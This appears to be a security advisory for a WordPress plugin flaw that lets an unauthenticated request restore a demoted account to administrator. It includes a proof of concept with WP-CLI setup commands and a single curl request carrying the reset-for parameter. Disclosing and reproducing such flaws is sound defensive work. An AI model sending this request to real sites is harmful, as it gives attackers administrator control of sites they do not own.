Admin and Site Enhancements < 8.8.4 – Unauthenticated Administrator-Role Restoration via reset-for Parameter | CVE 2026-12083

Description

The plugin does not perform authentication, authorization, or nonce checks on a role-restoration request handler, allowing unauthenticated attackers to restore a previously demoted administrator account back to the administrator role. This is an incomplete fix of CVE-2024-43333 / CVE-2025-24648, which closed the issue for only one of the demotion paths the WordPress role API exposes.

Proof of Concept

# Test bench (WordPress), Admin and Site Enhancements 8.8.3 active.
# Precondition (set automatically the first time an administrator uses the
# "View Admin As Role" feature, then is later demoted by any means other than
# the Profile editor):
#   - the victim was an administrator and used "View Admin As Role" to switch to a
#     lower role, which records original_roles=[administrator] and adds the victim
#     to the plugin's allowlist;
#   - the victim is subsequently demoted via a non-profile_update path (e.g. WP-CLI
#     wp user set-role, $user->set_role(), or another user-management plugin).

# Seed the precondition for reproduction:
wp user set-role simpleadmin administrator
wp eval 'update_user_meta(get_user_by("login","simpleadmin")->ID,"_asenha_view_admin_as_original_roles",["administrator"]);'
wp eval '$o=get_option("admin_site_enhancements",[]);$o["viewing_admin_as_role_are"]=["simpleadmin"];update_option("admin_site_enhancements",$o,true);'
wp user set-role simpleadmin editor        # demotion via a non-profile_update path

# Attack: a single unauthenticated request (no cookie, no nonce):
curl -s -i "https://victim.example/?reset-for=simpleadmin"

# Result: the victim's role is restored to administrator.
wp user get simpleadmin --field=roles      # -> administrator